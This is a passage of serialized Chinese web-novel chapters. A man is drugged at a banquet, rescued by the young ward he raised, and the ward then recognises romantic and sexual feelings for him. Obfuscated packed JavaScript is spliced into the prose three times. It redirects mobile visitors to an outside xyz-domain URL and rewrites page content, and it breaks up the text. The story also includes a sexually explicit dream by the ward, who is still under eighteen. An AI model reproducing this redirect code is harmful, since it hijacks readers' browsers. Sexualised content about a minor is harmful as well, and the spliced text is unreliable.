两分钟后,姜洄翻阅手机的手停顿了一下,皱了皱眉。 不知为何,感觉身上有些燥热。 正是盛夏季节,热倒是正常,但他今天穿的普通衬衫,进门后又有空调,按理说在大厅里面,不可能觉得热才对。 他心中一凛,想起什么,抬眼去看自己的酒杯。 高脚杯里的饮料已经被他喝的差不多了,只剩浅浅一层底。 姜洄心念百转,瞬间明白为什么陈父对陈小姐说,今天的宴会必须要有他到场。 他心中冷笑。 穿越以后也真是安逸太久了,一时不妨,竟然有人敢跟他耍这种手段? 姜洄不动声色,将那酒杯又拿起来,仿佛没注意到杯子已经空了一般,又倒了一口。 几滴饮料液体随着他的动作甩到了衣领上。 他不满般蹙了蹙眉,一旁随即有侍者上前,道:“您衣服湿了,我带您去换一件吧?” 姜洄道:“不用。卫生间在哪?” 侍者:“在楼上,请跟我来。” 姜洄起身时,意识其实已经有些混乱了。 药效已经发作,他额头上都冒出了细细密密的汗珠。 强忍着身上的不适,姜洄拿着手机,在“报警 ”和发消息给谁来接他之间,选择了后者。 快速发完消息,他随着侍者走了一段路,有些混沌地埋头钻进了卫生间的门。 刚将隔间关上门,他便几乎腿软到瘫坐在地,脸色泛上不自然的潮红。 眼镜因为转身关门时动作幅度太大而甩落在地上,还不小心踩了一脚,他伸手去捡,看见镜片碎了。 压抑着喘息,姜洄眼前一片模糊的水雾,用最后的理智锁上了隔间的门。 不久,门外响起新的脚步声。 有人进来了。 他压住气息,听见来人进了其中一间隔间后片刻,然后出门,洗手,再出去…… 没能出去成。 陈小姐惊诧的声音响起:“门怎么锁了?” 姜洄心里一惊。 这是女厕所? 他刚刚进来时没看标识,侍者也没喊住他,他理所应当便以为这是男厕所。 可陈小姐声音清晰利落,显然是正常状态,不可能进错厕所。 那就是有心人故意把他们锁在一起了。 姜洄没想到借口来卫生间也躲不过被锁在一起的命运。 但他没有出声,虽然大概率陈小姐不知情,但眼下他的情况,他能完全信任的人也只有一个。 门外,陈小姐倍感困惑与焦急,开始拍门呼救:“来人啊!怎么回事!门怎么锁上了?” 无人应答。 片刻后,她似乎又开始打电话,但同样没人接通,手机里只传来了嘟嘟嘟的忙音。 姜洄闭上眼,知道她也出不去。 有些后悔答应来参加这场宴会了。 …… 赵熙闯进陈家会所大厅的时候,已经是十分钟后了。 因为今天赵熙没有出门计划,王叔便被姜洄带来宴会了,赵熙要来这里,只能打车。 即便这样,他仍旧以最快的速度赶了过来,因为没有请帖被拦在会所门外,赵熙脸色冷得吓人:“让开!” 他毕竟是姜洄亲手带大的,多年富养出来的涵养气势摆着,冷下脸时更能唬人。 看保安愣神,赵熙立即抬手就面前的人用力拨开,快步跑了进去。 “欸,先生,先生等等!” 十分钟前,姜洄给赵熙发了一条消息。 内容是“被下药了,有点麻烦,你来接我”。 五分钟前,姜洄又发了一条:在二楼厕所。 赵熙便一路直奔二楼,会所里衣香鬓影,觥筹交错,他头都没抬,径直从人群里穿过。 陈父陈母注意到他陌生的面孔,惊呼着要上前,大声质问他是谁,但赵熙只横扫了一眼过去,冷着脸一头冲上了二楼。 他沿路就拽着侍者问二楼卫生间在哪里,找了一间又一间却都没人应,直到来到走廊尽头。 男厕所里没人,赵熙听见旁边的女厕所传来陈小姐惊喜的声音。 “有人吗?门不知道被谁锁上了,请你别走,拜托救我出去,我有重谢!” 赵熙拧了拧门把手,锁上了。 这似乎是需要特定的钥匙才能上锁和开锁的门。 赵熙皱眉,扬声道:“只有你?” 陈小姐愣了愣神,心想不然还有谁? 话没出口,便听见身后的隔间响了一声。 姜洄从里面扶着墙走出来,脚步有些虚浮。 他原本打理得整齐的发丝微微乱了一些,一张俊秀的脸红得不正常,身上衣裳沾了饮料,被捏得皱巴巴的,表情倒是镇定。 但唇色红润、眼含水光,眼尾晕着一抹红……如此难得一见的狼狈模样,他的表情越是清冷,越是看着活色生香。 陈小姐张开嘴:“……赵、赵先生?你,没事吧?” 姜洄气息不稳,只能勉强应一句:“嗯。” 他不动声色地避开了陈小姐要来扶他的手。 听见这一声,赵熙便明白,小叔叔也在里头。 他当机立断,后退了两步,道:“你们往后退一退!” 陈小姐回神,急忙退了两步,随即听见卫生间的门一声巨响。 又两声之后,门竟然被人从外面硬生生踹开了。 陈小姐震惊地去看门把手,锁芯的位置已经坏了,一截断木和锁芯一起留在了门框上。 这么猛? 冲进来的少年眼神却只是在她身上一扫而过,然后定定落在了一旁的姜洄身上。 他如一阵风般冲过来,熟稔又透着几分小心翼翼地扶住了姜洄,神色担忧,声音却极轻:“小叔叔,没事吧?” 而这回,原本拒绝了陈小姐搀扶的姜洄却没有什么反应。 他摇头,闻见鼻端熟悉的清茶香,终于放心下来,不自觉将重心都交给了他。 他靠着赵熙的肩,低低喘了口气,垂眸不让陈小姐窥见自己的失态:“带我回去。” 赵熙稳稳地接住他往下滑落的身体,手也因此扶上了他的腰。 姜洄现在的模样实在有些狼狈,眼镜不见了,从来掩藏在镜片之下的那双眼睛如今水色潋滟,带着克制的情/欲,眼尾红晕更为他平增了一抹媚态。 平日里他总是严肃或温和居多,在家中会显得懒散一些,但在赵熙心中,也一直是沉稳可靠的长辈模样。 但今天这副样子,却可以称得上和他印象中的小叔叔截然不同。 只看了一眼,赵熙便忍不住有些脸红,匆匆移开了视线。 他从没见过小叔叔这样、这样柔弱的姿态,仿佛……任人摆弄。 姜洄说话间,炙热的吐息微微吹过他的耳畔,他们气息离得这样近,那幽幽的浅淡兰香也轻易钻进了赵熙的鼻腔。 分明这几年同床共枕时,赵熙自认已经对这个味道免疫了,可是现在猝不及防闻到熟悉的气味,赵熙还是忍不住红了耳朵。 闻言,他压下乱七八糟的念头,绷着冷肃的表情点点头:“好,我们回去。” 他将人揽进怀里,隔绝了陈小姐的视线。 这两年他又长高了一些,已经到了187,比姜洄要高很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033605|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这种动作对他来说很简单。 这样也仍旧不能放心,赵熙心跳突突的,又将身上为了以防万一特意带的外套脱了下来,轻轻盖在姜洄脑袋上。 然后才将人打横抱了起来。 姜洄靠着他的肩膀,很轻地攥住了他的衣领,没有说话,也没有对他这个动作表示反对。 他面朝赵熙的胸口,表情隐在了衣服之下,无人得见。 赵熙感觉得到他的身体很烫。 隔着两层薄薄的衣料,烫得赵熙心慌,连手指都不自觉蜷缩了几分。 他面上仍旧冷肃镇静,没理会一旁的陈小姐,抱着人匆匆下了楼。 几个保镖姗姗来迟,在走廊上撞见他们,看到赵熙怀里抱着的人,面面相觑,不知道是什么情况,一时都犹豫着要不要上前。 陈小姐从后面快步跟上来,保安终于见到今天包下会场的这家主事人之一,连忙解释赵熙闯进来的事情。 陈小姐表情复杂,以误会为由直接挥手驱散了他们,同时又喊住赵熙:“……前厅很多人,我知道后门在哪里,我可以带你们去。” 赵熙顿住脚步,看向怀里的姜洄。 这个女人他不认识,不知道该不该信。 想到刚刚小叔叔和她还共处一室那么久,赵熙抿了抿唇。 姜洄衣服下的脑袋动了动,声色冷漠:“陈小姐拿什么来证明自己可信呢?” 陈小姐咬咬牙:“你明白的,如果我愿意且知道这件事,你没法在里面躲那么久。” 姜洄无以反驳。 药效发挥这么久,他的身体已经撑到了极限,现在连说话都只是勉力支撑。 他拽拽赵熙的衣领,声音有些哑:“……让她带路吧。” 赵熙这才转过脚步。 陈小姐避开了其他侍者的耳目,将他们带出了会所,最后分别时道:“很抱歉……今天的事情,我会给您一个交代的。” 她不蠢,姜洄那个时间出现在那里,只要稍微联想一下,就能想到是发生了什么。 姜洄没有说话,又拽了拽赵熙的衣领。 赵熙奇异地领会到了他的意思:走。 他便也没回答,冷冷瞥了对方一眼,加快脚步带着人找到了等在门口的王叔。 上车后,他又小心翼翼地将人在后座放好。 “小叔叔,要不要去医院?” 姜洄将衣裳拉下来一点,闭着眼有气无力地摇摇头。 他这副样子,去医院也于事无补,第二天说不定还会传出新闻。 赵熙担忧地看了他一眼,知道他决定的事情不会轻易变主意,只好道:“王叔,回去吧。” 王叔从后视镜里看了眼没露面的姜洄,担忧道:“二少这是怎么了?” 赵熙道:“没事……报警了吗?” 王叔点头,然后很识时务地升上了阻隔板。 姜洄没把外套摘下来,也没说话,只是在隔板升起之后,喘息声明显加重了几分。 他又朝赵熙靠了靠,抵着对方的肩膀,混乱的吐息也尽数打在了他肩上。 赵熙整个人都僵住了。 这种举动本来很正常,平时他和小叔叔更亲密的接触都有,但不知为何…… 赵熙脑海里想到都是刚刚在二楼时看到的画面。 他的喉结不由滚动了一下,视线甚至不敢往旁边瞥一眼,感觉格外地不自在,耳朵又悄无声息地烧了起来。 姜洄毫无所觉,闭着眼缓了会儿神,压抑着喉咙里难耐的痒意,道:“……给陈助理打电话,让他帮忙找个私人医生。” 赵熙如梦初醒,慌忙应了,翻出手机打电话。 21. 旖梦 赵熙没敢继续想,也没敢再仔细看他。 到了家里,他扶着几乎站不住脚的姜洄出来,听见他低声说:“带我回房间,医生来了让他敲门。” 赵熙无言点头,将他抱回了卧室。 他们都没有再说话,因为姜洄从出卫生间开始到回家,被他抱了这么久,有些变化是两个人都能感觉到的,衣料摩擦间,尴尬的氛围便悄无声息地蔓延了上来。 姜洄很想装作若无其事,但难堪的情绪还是爬上了他的心口。 在熟悉的人。而且是小辈面前这样露出这样的姿态,实在是有些失礼。 他在赵熙怀里僵着身体,像一根木头一样努力掩饰自己的狼狈,咬着舌头不让自己被欲念吞噬。 恍惚间他拽着赵熙的衣领,闭上眼,想。 赵熙真的长大了,已经能这样轻松地抱着他走很远的路了。 踏进主卧,赵熙将他放到床边,给他倒了杯水,然后很自觉地退了出去,并帮他关上了门。 “小叔叔……我在门外,有事喊我。” 姜洄点头。 没有人注意到赵熙倒水的手有些不受控制的抖,连出去的脚步也显得匆忙。 赵熙关上卧室的门,背抵着冰凉的门板,低低呼出一口气,有些愣神。 他发了会儿呆,一会想小叔叔今晚到底是发生了什么,一会担心他到底有没有事。 最后的思绪停留在了刚赶过去时,他红润的唇上。 摇摇头,赵熙费劲地把这些乱七八糟的想法甩出脑袋,红着脸唾弃自己。 真是龌龊,怎么老想到这个? 医生十分钟后才到,那时姜洄已经将染了几滴饮料的衣服脱下来丢到了一边,草草洗了个冷水澡。 听见敲门声,他刚裹上浴袍从浴室里出来,冷淡道:“进。” 赵熙抿着唇跟在私人医生后头,犹豫要不要进去,眉眼里显而易见的担心。 姜洄瞥他一眼,拢了拢浴袍:“你也进来吧。” 赵熙踌躇着踏进去,却只停在了门口。 姜洄坐在床边,简单将自己的情况说了说,私人医生表示明白,给他仔细检查了一番,道:“暂时没有什么问题,药效会在大概半小时后自然消散,最好顺其自然发泄掉,不要憋着,容易出问题。这个药有没有毒性还要做个抽血才能知道。” 医生是个中年男人,这话说得正气凛然,姜洄脸色也没变,点点头,任由他抽了一管血。 一旁的赵熙终于也松懈下来。 没事就好。 等医生走了,赵熙才道:“刚刚警察来电话了,要去做个笔录,不过考虑到……咳,情况特殊,说可以等明天去。” 姜洄嗯了一声。 氛围不知怎的有些尴尬。 姜洄下意识想扶一下眼镜,才意识到眼镜在厕所的时候已经坏了,没被他带回来。 赵熙注意到他的动作,眼神在他眼睛上一扫而过,嗓音发涩:“小叔叔眼睛多少度?我明天给你新配一副。” 姜洄想说不用了,本来也没有近视,只是戴习惯了而已,但要是这么说,赵熙难免疑惑他当初为什么会有这个戴眼镜的习惯。 于是懒散地随口报了个数字:“100。” 赵熙点头,又没话找话道:“今晚的事,您打算怎么处理?” 刚刚姜洄跟医生说事情经过的时候并没有省略太多,赵熙大概也猜到了姜洄变成这样的原因。 他有些窝火,既愤怒于对方敢这样肆意下药、轻贱玩弄小叔叔,又烦躁于自己帮不上任何忙。 他还只是个高中生,哪怕成绩再好,这种事要是小叔叔不告诉他,他甚至根本就不会听到风声。 姜洄看出他眼中的怒意,淡定道:“我会处理好,不用担心。” 赵熙默了默,没有坚持问下去。 他知道,小叔叔要是不想对他说会怎么处理,再怎么问也没用。 “我要睡了,一会儿你忙完回来动静轻点。” 虽然赵熙放了假,但也习惯了会学习到很晚才睡觉。 同床共枕这么久,睡一起已经成了他们的习惯,哪怕如今的赵熙已经从一开始的一只小崽子变成了一只大崽子,但谁也没觉得有什么不对。 然而今天提到这个,赵熙却眼神闪躲了一下,想到什么,手指无意识地蜷缩几分,低声道:“我、我今晚去睡自己的房间吧。” 那边床铺一直有收拾,赵熙偶尔会在那边睡个午觉,所以要重新搬回去睡在那里也很方便。 姜洄动作一顿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033606|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你确定?” 赵熙:“……嗯。” 姜洄没回头看他,可有可无地轻嗤一声:“随你。” 他药效还没完全过去,也不知道睡在一张床上会不会闹出什么尴尬的事情来。 既然如此,不如各自分开一晚,也免去了姜洄的担忧。 他只是有些不爽,睡了好几年的抱枕今晚没了。 也不知道会不会失眠。 …… ——姜洄没有失眠,赵熙失眠了。 他回到自己的小书房看了会儿书,脑子里却乱糟糟的,什么也看不进去。 只好洗了澡,很早就上了床。 躺在床上,盯着头顶的白炽灯瞪了很久,或许是因为今天没有小叔叔在怀里,他翻来覆去几个小时都没睡着,到凌晨三四点才勉强闭眼。 赵熙罕见地做了个梦。 梦里有人趴在他身上起伏,精瘦白皙的胸膛上汗珠细细密密地滚落,一双又直又白的大长腿跪在他腰侧,腰肢那样纤细瘦弱,不堪一握。 赵熙凭借本能去迎合对方的动作,在混沌中下意识抬手,去摸那人的脸颊。 那人一顿,随即便低下头来吻他。 手指抚过鬓角,梦里朦胧的白雾中,一张神情与平日里截然不同的脸若隐若现地展露在他面前。 眼尾晕染着浅淡的红,一双黑色的眸子琉璃般清冷,漾着丝丝情欲沉沦的波纹,唇色饱满红润,神情可怜又无辜,风情万种,仿佛任人蹂躏。 赵熙顿住了。 是、是小叔叔。 …… 赵熙喘着气醒过来,愣愣地看着头顶仍旧亮着的灯光发呆。 窗帘半拉着,清晨的阳光半数洒进室内,昭示着时间还早。 哪怕空调正开着,赵熙身上也仍然汗津津的。 他一心学习,哪怕已经快十八岁,但也其实没做过几次这样极具情色意义的梦,只是前几次的主角都没有具体的脸,可是…… 可是这次…… 心跳在胸腔里砰砰砰响了半天,如雷震耳,赵熙脑袋都是懵的,只记得梦里姜洄那双勾人夺魄的眉眼。 他缓过神,坐起身,掀开被子。 半晌,脑子里只有一个念头。 ——完蛋了。 22. 问题 第二天下午,姜洄刚去做完笔录,回来就看到了门口摆着的崭新盒子,但赵熙这个时间,竟然稀奇地不在家。 里面装着一副单片眼镜,金色的细链在阳光下闪烁着细碎的光芒。 正好是右边的单片。 002恰好开机了,便说:【我给你改改度数吧,你眼睛没毛病,戴近视眼镜会损坏眼睛。】 姜洄自然同意了。 医生那边也送来了体检报告,血液样本没有问题,那药只是单纯的催/情壮/阳,也让他们都松了一口气。 他今早去做了笔录,特意将自己带回来的那件衣服交给了警察,告诉对方上面还有饮料残余,以现在的科学技术,提取成分是再简单不过的事情。 陈小姐处理得还算及时,两天后她给了姜洄答案,是陈父撺掇母亲给他下药,然后找机会把两人关在一起,说只要生米煮成熟饭,订婚自然也不是什么难事。 到时候姜洄这个男方毕竟是占便宜的乙方,也不好公开说什么。 陈母也是病急乱投医,竟然真的听了。 从陈小姐疲惫苦笑的表情来看,陈母做的这个决定并没有让她多开心。 姜洄脸色不变,只道:“我已经报警,不管是谁下的药,如何下药,我都会追究到底。” “陈小姐,也烦请回去告诉您父亲,不要把所有人都当软柿子捏。” 陈小姐百般歉意,姜洄不跟她计较都已经是好事,她自然也不好说什么求情的话。 她那边忙得焦头烂额,这边警方也已经透过会所当天的监控找到了下药的人。对方如实交代了下药的过程,证据链已经完整了,陈母难逃法律惩罚,陈父哪怕没有参与,他公司的股票难免也会受到影响。 姜洄并不在意,他不是什么心软的人,别人的苦难和为难与他有什么关系? 但在此之外,还有一件事。 赵熙一连好几天都显得有些失魂落魄,动不动就盯着他出神,也不再像从前那样对他亲昵有加了。 有时候一个对视便移开了眼神,而且一直没有提起要回主卧去住。 姜洄心间难免有几分不爽,心中猜测大概是那晚自己被下药的原因。 但是赵熙恐同吗? 姜洄自己是十五岁进了娱乐圈后,男男女女看得多了,自然更早懂得一些,那时候他就明白了自己的性取向和常人不同。 他喜欢男人。 赵熙和他理论上是一个人,应该也是喜欢男人,不应该因为姜洄的反应感到恶心远离才对。 可毕竟这个世界的赵熙除了一张脸,和他什么都不一样了,姜洄也不能完全确定。 这天和陈小姐聊完回家,姜洄敲响了赵熙的房门。 “进。” 房门没关紧,姜洄轻轻一推,门便开了,赵熙话音刚落,似乎没想到他会这么快进来,手中还在匆忙地往抽屉里塞着什么,边角一闪而过,看着隐约像是……一个本子? 姜洄没看清。 见赵熙身形刻意遮挡着,明显不想告诉他,姜洄扯了扯嘴角。 还有秘密了。 他也没打算追问,只道:“聊聊吧。” 赵熙:“……现在吗?” “嗯。” 赵熙身形一僵,扶着桌子边沿的手背青筋凸显了一瞬:“……哦。” 他从来不知都该怎么拒绝姜洄的要求,哪怕现在不是很敢面对姜洄也一样。 两人下了楼,面对面坐在沙发上,姜洄先开口打破了沉默的氛围。 他拿出一份文书,两指并拢推到赵熙面前。 “看看吧。” 赵熙几不可察地抿了抿唇,目光从他白皙纤长的手指上一扫而过,仿佛被什么烫到了一般,视线下滑了一截,才将文件拿了起来。 两秒后,他抬头:“这是……” 针对陈氏集团的收购计划? 姜洄道:“这次的事情让我想到,今年你也十八岁了,明年高考完,就可以进公司历练。有些事,我也该教教你了。” 赵熙微微皱眉,虽然他很想帮上小叔叔的忙,但总觉得这次…… “是不是有些太急了?” 姜洄轻飘飘道:“不算急,圈子里多少人都是十八岁进的公司,有些东西你也得提前学着,耳濡目染的,进了公司方便许多。” 他和系统说过,以赵熙的天分,学这些最多一年。 等明年高考完,赵熙进公司,他就差不多可以走了。 赵茴便只好将注意力转回来,捏着手里这份文书,隐约察觉到了什么:“小叔叔不打算和陈家和解?” 他以为姜洄肯帮助那位陈小姐,这次也会高高拿起轻轻放下。 姜洄冷静道:“陈家现在得罪了我,只要一天陈氏董事长还在,我和陈家就一直是敌人。陈小姐没办法立刻给出我想要的东西,和他们没有和解的必要。” “别人给不了的,那就自己去拿。”姜洄道,“靠山山倒靠人人跑,只有自己最可靠。这是我要教你的第一件事。” 在和陈小姐合作之前,其实姜洄就有了要收购陈氏的心思,只是觉得麻烦,一直没动手。 眼下既然陈氏主动惹毛了他,那就等不得了。 赵熙若有所思:“那小叔叔和陈小姐之前的约定……” “她不是陈氏集团的掌权人,陈父骗了她,她现在只有20%的股份,做不了关键决定。” “她和我的那个约定当然作数,但那是在她上位之后。” “——但如果在此之前,我已经将陈氏收入囊中,也就不需要她的约定了。” 赵熙明白了,姜洄不准备放过陈家,哪怕他帮过陈小姐,那也是另一回事。 原本或许他还有兴趣作壁上观,看看陈小姐这个有些潜力的发展对象会怎么做,但如今他没有耐心了。 就看看是陈小姐先解决股权问题,还是他先将陈氏收入囊中。 赵熙道:“那小叔叔给我看这个……” “让你看看而已,要明白任何时候,利益才是最重要的东西,不要轻易因为旁人的事心软。” 赵熙点点头。 看着姜洄冷淡的侧脸,他低头不动声色地轻笑了下。 他有时候觉得小叔叔就像一条……蛇。 这么说或许有些突然但他确实觉得很像。小叔叔对待外人总是冷漠无情的,惯会包装着温和的表象,实际上谁也走不进他的心里,总在背处阴冷地吐着蛇信,仿佛一旦情况有异,随时便准备一击毙命。 但在没有外人时,他又懒散随意,态度舒展,显得不再那样高高在上,而是一个真真切切的鲜活的人,不上班的时候会赖床,喜欢吃辣,哪怕因为他的胃病其实不能吃太多,还很喜欢钱…… 赵熙想到之前不知道从哪里看来的一篇帖子,提到蛇其实呆呆笨笨的,没有攻击性时、面对信任的人,吃东西是要专门放到手上喂的,还容易吃到撑。 ……莫名的,感觉更像小叔叔了。 他心底同时也为姜洄提出来的事情和自己想象中的无关而轻轻松了口气。 然而这口气还没彻底呼出去,便听见姜洄又道:“剩下的,我以后再说。” 赵熙抬头。 “但你是不是该解释解释,这几天都住在隔壁的事?你这是——不打算回来住了?” 这话问的已经算委婉了。 赵熙心跳却重重漏了一拍。 果然还是瞒不过小叔叔。 他意料之中地低下头,轻轻舔了舔唇,不知怎么辩驳才好。 赵熙以前是没有注意过性取向这个问题的,他也不觉得这个有多重要。 姜洄一句不要早恋,他也一直没有升起过恋爱的念头,直到那一天。 想到那个难以言喻的梦,他的人生观遭到了沉重的打击。 正常人…… 正常人,会在做这种梦的时候梦到小叔叔吗? 他当然清楚,正常人对亲人是不可能有这种想法的,所以要么是他脑子有问题,要么就是…… 就是…… ……那个念头,赵熙不敢深想。 这个问题他也没法拿去问任何人,他很想催眠自己,只是因为看到了小叔叔不一样的一面,所以冲动了一些。 但他也从来不是个重欲的人,在发现自己因为小叔叔梦遗后,他有怀疑过自己是不是因为喜欢男人,所以才会饥不择食。 于是第二天,他在给小叔叔精心挑过眼镜,转头就去找了余书。 刚见面,他就张开手臂,单刀直入地说:“来抱我。” 余书:“?” 为防万一,他还找了另外好几个朋友一起试,差点被怀疑夺舍。 赵熙的实验当然以失败告终,因为他发现,不管他和其他的男人抱多久、身体贴多久、在他面前如何搔首弄姿(这条是赵熙逼迫他们的)…… 他都没有任何反应,心如止水。 很明显,他的脑子没问题,是他的思想出了问题。 他得冷静冷静。 他实验完转身就走,一群朋友都是一头雾水。 韩子晨更是直接在三人小群里逼问他。到底在干嘛。 赵熙坐在回去的车里,想了想,发消息问他们:喜欢一个人会有什么样的表现? 【韩汉三:???】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033607|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【余:你铁树开花啊?怎么突然问这个?】 【zhao:替我一个朋友问的。】 【韩汉三:哦,你的朋~友啊~】 【余:哦,你的朋~友啊~】 【zhao:……真的是朋友。所以到底说不说了?】 【韩汉三:说说说,喜欢一个人嘛,就是看得到的时候就忍不住盯着她,看不到就总是想着她,念着她。对她的事情特别上心,心甘情愿为对方付出,还会在对方面前无意识地表现自己。看到她和别人一起会不高兴,会想象和她在一起的未来……】 赵熙默念着,在心里将自己的症状每一条都和这些对应上了。 他斟酌着打字,仍想挣扎一下:我那个朋友,他疑似喜欢的那个人,是他的……嗯,算是长辈,对他很好,相处时间很久,就不能是信赖吗?这样就一定是喜欢? 【韩汉三:相处时间很久?那会喜欢上很正常啊。】 【zhao:为什么?】 【韩汉三:你不是喜欢听音乐吗?听没听过那首……可不可以?你去听听,歌词会给你答案。】 赵熙根本不用听,当初给小叔叔挑选专辑录制的歌曲,他在所有音乐软件里都翻了个遍,所有当下流行的音乐基本都听过。 韩子晨一说,那首歌的旋律立刻就在他脑海中想起来了。 无师自通的,他明白了韩子晨说的是哪一句歌词。 良久,他垂下眼,有些迷茫,也有些释然。 或许从落日小巷里刚见到的第一眼,他就注定和小叔叔结下了不解之缘。 他的喜欢在那时就被悄悄种了下去,很多年,在姜洄温风细雨的关怀和爱里抽枝发芽,直到如今长成爱恋的岑天大树,才被他恍然惊觉。 ——从前他下意识的种种亲近,或许也不全是对亲人的依赖。 群里还在嘀嘀嘀响个不停。 【韩汉三:等一下,相处时间很久?我怎么不记得你和哪个长辈相处时间很久呢?而且你赵家不是都没有旁支亲戚了吗?等下……你不会……】 【余:等下……你不会……】 赵熙心跳都漏了一拍,懊恼地打字。 【zhao:……别乱想!说了是朋友问的!走了。】 那天回来后,大概是明白了内心的想法,这几天每天看到姜洄在自己面前走动,原本是十分自然的事情,但他都会不受控制地去注意对方的脚步声动向。 看到那张镜片下沉静如水的眼,会想到梦里对方的风情万种。 看到他清晰流畅的锁骨线条和纤细精瘦的腰,会想到梦里的对方身上布满红痕的模样…… 看到对方穿着的西装裤,又会想到梦里那双缠在自己身上笔直的、白皙的腿。 小叔叔在外,哪怕是夏天,也总把自己包裹得严严实实的。 ——但那双腿他见过的,在夏天的夜晚。 小叔叔有时不愿意开空调,屋里闷热得慌,他就会穿着不到膝盖的睡裤睡觉,一双腿又白又直。 像梦里一样。 有时他也会忍不住去想,如果…… 如果他真的对小叔叔的感情不简单,那小叔叔呢? 小叔叔喜欢男人吗? 如果被他知道了自己的想法,会不会觉得他很恶心? 赵熙控制不了这些五花八门乱七八糟的念头。 他觉得自己魔怔了,于是每次想到这些,都努力转移注意力,保持一些距离。 在没有想清楚之前,他也不敢回去睡了。 可是两人同处一个屋檐下,赵熙也做不到不和他见面,只能尽量避免对视。 他不敢让自己眼里的情绪泄露出来,怕被小叔叔发现自己肮脏的想法。 本以为自己掩藏的还不错,可是一个人的眼神闪躲是很明显的事情,姜洄显然还是发现了。 他该怎么解释呢? 直说是肯定不行的,赵熙自己都没想清楚,说出来不止尴尬,小叔叔会不会气得打断他的腿都另说。 于是赵熙心中念头百转,最后出口的却是一句:“对不起……” 姜洄愣了愣,还没说出点什么,就见赵熙又轻声道:“……我最近学业压力有点大,回去住的话怕打扰你休息,所以就住在这边了。小叔叔要是不高兴,我就搬回去。” 赵熙这么多年努力学习,可从没说过觉得学习压力大这回事。 这明显只是个借口,他们都知道。 但不等姜洄深思,赵熙便已经接上了前一句话,略显仓促地转移了话题。 他心跳如雷,壮着胆子问:“小叔叔……你,会结婚吗?” 23. 喜欢 这是什么问题? 姜洄顿了顿。 国内现在是允许同性结婚的,他不知道赵熙问这话,是因为那天他在赵熙怀里的反应引起了对方的困惑,还是单纯想问这个问题。 大概率是前者,不然他也不会这么多天都避着他。 是怕他和男人结婚,会让他觉得恶心? 可姜洄虽然喜欢男人,原主却不是,002明确告诉过他,原主是个无性恋,也就是说,他不可能会谈恋爱结婚。 姜洄从没想过留下来,以后的人生还是原主自己的,所以在这种事情上,更不会代替他回答。 于是沉默之后,他道:“暂时没有这个打算……以后也不会有。” 赵熙愣了一秒,追问:“也不谈恋爱?” “嗯。” “真的吗?不骗我?” 姜洄又嗯一声:“怎么,干什么这么关心我的感情状态?” 赵熙干笑一声,不敢接话。 送了口气的同时,心中还有些微妙的失落。 不会谈恋爱结婚…… 是因为没有喜欢的人,还是根本就不考虑? 他不太敢继续问。 是不是也代表……他没有任何机会了呢? 意识到这个念头的同时,赵熙自己也吓了一大跳,混乱的思绪终于重新清晰起来,无比明确地向他宣告了罪名。 他对小叔叔,有并不合乎常理的感情。 他垂下眼,在心里苦笑。 他大概,也许……是真的完蛋了。 赵熙深吸一口气,轻声道:“我去洗漱了……一会儿把东西搬回去。” 这次,他终于肯直视姜洄的眼睛了。 姜洄盯着他尽力装作平静的眼眸,试图在这双眼睛里探寻什么…… 但失败了。 赵熙现在已经成长到,只要他想,他隐藏起来的情绪,连姜洄也无法轻易窥见的程度了。 姜洄垂下眸光,轻声应了。 他也回了房间洗漱,等他再出来时,赵熙已经拿着书坐在床边了。 有些奇怪他今天怎么不在那边学习完后再回来,而是拿着书过来了,姜洄扫了他一眼。 赵熙已经抬头,视线掠过他鬓边湿润的发丝,熟练起身道:“小叔叔,我帮你吹头发。” 姜洄没有拒绝,实际上,赵熙走后这几天,不管是吹头发还是睡觉,他都有种强烈的不适感,总觉得缺了点什么。 而如今,赵熙拿出吹风机,熟稔地站到他身侧,那浅淡的清茶香又若有若无地飘了过来,姜洄的心一下就安定了下来。 他闭上眼,问:“你每天洗澡,是不是沐浴露不止擦一遍?” 赵熙一怔:“啊?没有。” 姜洄说出来也觉得好笑,扯了扯嘴角,不提了。 赵熙却低头闻了闻身上的味道,若有所思:“小叔叔讨厌这个味道吗?” 姜洄:“讨厌还能让你一直用?” 以他的专裁程度,要是讨厌,早该直接说出来,让他换一款沐浴露了。 赵熙想也是,他轻轻笑了。 吹风机令人瞌睡的嗡鸣声中,头顶的灯光打在姜洄的侧脸上,赵熙盯着他的轮廓,有些出神。 直到此时,他才终于意识到,小叔叔也只是一个普通的、正常的年轻男人。 他并不比自己大多少岁,只是“长辈”的名分压在赵熙身上太久,以至于他差点忘记了这个事实。 一旦意识到自己的不对劲,好像从前多少做得十分正常的事情,在他这里都变得不一样了起来。 